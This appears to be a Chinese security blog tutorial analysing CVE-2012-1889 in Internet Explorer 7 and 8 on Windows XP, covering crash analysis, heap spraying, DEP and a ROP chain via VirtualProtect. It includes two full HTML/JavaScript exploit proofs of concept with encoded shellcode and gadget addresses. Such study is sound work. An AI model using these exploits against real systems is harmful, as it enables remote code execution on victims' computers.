Loading... # 分析环境 | O(∩_∩)O | O(∩_∩)O | O(∩_∩)O | O(∩_∩)O | | :- | :-: | - | :-: | | 软件名称: | IE | 操作系统: | WINXp | | 软件版本: | 7.0 | 漏洞编号: | CVE-2012-1889 | | 漏洞模块: | | 危害等级: | 高危 | | 模块版本: | | 漏洞类型: | 缓冲区溢出 | | 编译日期: | 2021-1-17 | 威胁类型: | 远程 | # 软件简介 # 漏洞成因 XML 接口对象创建定义为0时,发生崩溃。 ## 简易崩溃 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1756466738.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/2703601241.png) 在WINDBUG中可以看到这个地址是无效的。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3121224758.png) 使用堆喷射的方式淹没返回地址。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/426273675.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/501579487.png) ## 寻找崩溃原因 由下图可以看出, Mov eax,dword ptr ss:[ebp-14h] //eax = 0c0c0c0c Mov ecx,dword ptr ds:[eax] // [eax] = 00000000 Call dword ptr ds:[ecx+18h] //call 一个0c0c0c0c + 18h 的地址 其实是Call 0 那么如果在0c0c0c0c+18h这个位置放入我们的ShellCode就可以执行我们的代码。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/4155044995.png) Javascript的字符串在堆栈中,一次性申请的堆栈是连续的,堆栈的增长从低到高,重复申请,如果使用堆栈保存数组,而数组存储字符串,当申请的字符串足够多的时候,就会造成溢出,而浏览器的溢出一般是200M大小。 使用字符串数组,重复添加0c0c0c0c使其一直覆盖之前的空间,在之后添加入我们的ShellCode,主要覆盖到0c0c0c0c的执行区域而0c0c在汇编中是or al并没有什么用,一直执行到ShellCode代码,而浏览器大概在200M左右,重复增加我们的ShellCode使其增长到0c0c0c0c这个地址上,((200*1024*1024)) 0C80 0000 >0c0c0c0c。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1947402200.png)![image.png](http://www.irohane.top/usr/uploads/2021/01/2798968275.png) 由于无法精准控制堆喷射的地址,只能采用这种方式进行喷射。 ## 精准堆喷 使用上边的POC 发现,在IE8中开启了DEP保护 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3822360008.png) **DEP** DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志, 令表示代码的区块拥有执行权限,而保存数据的区块仅有 读写权限,进而控制数据区域内的shellcode无法执行。 ### **ROP绕过DEP-关闭DEP** ROP利用片段代码,在执行想要的操作之后还能返回程序运行的权限,最终组合成一段ShellCode。但是利用这个技术不能把ShellCode 添加进入程序,暂不论是否能找到这么多断代码,就是拼接代码也需要很长时间了,但是可以用这个机制关闭DEP,使用,VirtualProTect修改内存属性。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3233024658.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/872647852.png) **精准喷射** 为了关闭DEP,需要ROP绕过技术,但是在运行的时候必须准确的让溢出点的返回地址,执行到的第一条指令是ROP的第一条,所以就需要通过计算来得出偏移量。 使用WinDbug,运行POC之后使用命令:!Heap -p -a 0c0c0c0c 获取所在对快信息。 起始位置为:0c060020 ![](file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml14628\wps1.jpg)![image.png](http://www.irohane.top/usr/uploads/2021/01/3030409750.png) 可以计算出:0x0c0c0c0c-0c060020 = 0x6 0BEC 0x60BEC / 2 = 0x3 05F6 0x305F6 % 0x1000 = 5F6 0x60BEC 是距离堆起始的距离,/2是Unicode 编码,1000 内存是以1000粒度对齐的。 所以很大概率是在这个地方为起始。所以在每个页的5F6填充我们的数据。 **ROP链构造** ![image.png](http://www.irohane.top/usr/uploads/2021/01/3648406470.png)我们需要把esp 换到内存中. ![image.png](http://www.irohane.top/usr/uploads/2021/01/3645139734.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/3204087510.png) # 利用过程 # POC ## IE 7.0 ```html 1.<html> 2.<head> 3. <title>CVE 2012-1889 PoC v3 By:irohane.top</title> 4.</head> 5.<body> 6. <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='irohane'></object> 7. <script> 8. // 1. 准备好Shellcode(unescape()是解码函数) 9. var cShellcode = unescape( 10. "\u5653\u6857\u2108\u15FF\u2000\uEC83\uEB14\uEA10\uD507\uFA77\u81CA\u697C\u6F72\u6168\u646E\uE800\u0000\u0000\u335E\u8DD2\uF37E\u468B\u52EB\u5757\uFF52\u8BD0\uEF46\uFF52"); 11. 12. 13. // 2. 制作一块滑板数据 14. // 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数) 15. var nSlideSize = 1024*1024 / 2; // 一个滑板指令区的大小(1MB) 16. var nMlcHadSize = 32 / 2; // 堆头部大小 17. var nStrLenSize = 4 / 2; // 堆长度信息大小 18. var nTerminatorSize = 2 / 2; // 堆结尾符号大小 19. var nScSize = cShellcode.length; // Shellcode大小 20. var nFillSize = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize; 21. // 2.2 填充滑板指令,制作好一块填充数据 22. var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C 23. var cSlideData = new Array(); // 申请一个数组对象用于保存滑板数据 24. while (cFillData.length <= nSlideSize) 25. cFillData += cFillData; 26. cFillDatacFillData = cFillData.substring(0, nFillSize); 27. // 3. 填充200MB的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C 28. // 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据 29. // 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区 30. // 后面的Shellcode处,进而执行Shellcode。 31. for (var i = 0; i < 200; i++) 32. cSlideData[i] = cFillData + cShellcode; 33. // 4. 触发CVE 2012-1889漏洞 34. // 4.1 获取名为irohane的XML对象,并将其保存到名为irohane实例中 35. var obj15PB = document.getElementById('irohane').object; 36. // 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据 37. var srcImgPath = unescape("\u0C0C\u0C0C"); 38. while (srcImgPath.length < 0x1000) 39. srcImgPath += srcImgPath; 40. srcImgPath = "\\\\irohane.top" + srcImgPath; 41. srcImgPathsrcImgPath = srcImgPath.substr(0, 0x1000-13); 42. // 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名 43. var emtPic = document.createElement("img"); 44. emtPic.src = srcImgPath; 45. emtPic.nameProp; 46. // 4.4 定义对象irohane(触发溢出) 47. obj15PB.definition(0); 48. </script> 49.</body> 50.</html> ``` 弹出成功。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2291645822.png) ## IE8 ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>irohane.top</title> </head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='irohane'></object> <script> // 1. 生成Padding var cPadding = unescape("\u0C0C\u0C0C"); while (cPadding.length < 0x1000) cPadding += cPadding; cPadding = cPadding.substring(0, 0x5F6); // 2. 制作Ret2Libc var cRet2Libc = unescape( "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) "\u398F\u77BF" + // 0x77BF398F : # POP EBP # RETN "\uA891\u77C0" + // 0x77C0A891 : # XCHG EAX, ESP # RETN "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) "\u1AD4\u7C80" + // 0x7C801AD4 : # Return to VirtualProtect "\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr) "\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress = Payload Addr "\u1000\u0000" + // 0x00001000 : # dwSize = 0x00001000 "\u0040\u0000" + // 0x00000040 : # flNewProtect = 0x00000040 "\uEFFC\u77C2" );// 0x77C31C4C : # lpflOldProtect = 0x77C31C4C // 3. 准备好Payload(unescape()是解码函数) var cPayload = unescape( "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" + "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" + "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" + "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" + "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" + "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" + "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" + "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" + "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" + "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" + "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" + "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" + "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" + "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" + "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" + "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" + "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" + "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" + "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" + "\uC25D\u0010\u0000"); // 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数) var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB) var nPadSize = cPadding.length; // Padding大小 var nR2LSize = cRet2Libc.length; // Ret2Libc大小 var nPySize = cPayload.length; // Shellcode大小 var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize; // 4.2 制作好一块填充数据 var cFillData = unescape("\u0C0C\u0C0C"); while (cFillData.length < nSlideSize) cFillData += cFillData; cFillData = cFillData.substring(0, nFillSize); // 5. 构建滑板指令数据块 var cBlock = cPadding + cRet2Libc + cPayload + cFillData; var nBlockSize = 0x40000; // 256KB while (cBlock.length < nBlockSize) cBlock += cBlock; cBlock = cBlock.substring(2, nBlockSize-0x20); // 0x809 // 6. 填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C // 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据 // 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区 // 后面的Shellcode处,进而执行Shellcode。 var cSlideData = new Array(); for (var i = 0; i < 800; i++) cSlideData[i] = cBlock.substr(0, cBlock.length); // 7. 触发CVE 2012-1889漏洞 // 7.1 获取名为irohane的XML对象,并将其保存到名为irohane实例中 var obj15PB = document.getElementById('irohane').object; // 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\irohane”字节的数据 var srcImgPath = unescape("\u0C08\u0C0C"); while (srcImgPath.length < 0x1000) srcImgPath += srcImgPath; srcImgPath = "\\\\irohane" + srcImgPath; srcImgPath = srcImgPath.substr(0, 0x1000-9); // 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名 var emtPic = document.createElement("img"); emtPic.src = srcImgPath; emtPic.nameProp; // 7.4 定义对象irohane(触发溢出) obj15PB.definition(0); </script> </body> </html> ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/1481293592.png) # 结语 在IE7.0的时候使用堆喷射技术即可实现,在IE7因为没有任何保护,利用栈溢出的EIP,在堆中申请ShellCode的空间即可,而在IE8 中添加了DEP保护基址,采用ROP链的方式进行绕过。因为需要溢出到0c0c0c0c位置,需要填充200M的浏览器内存空间,在call中交换esp 为 0c0c0c0c 栈顶,使用call的方式调用virtualProTect改变当前页内存属性使其可以执行,之后运行到ShellCode即可。 最后修改:2021 年 01 月 19 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏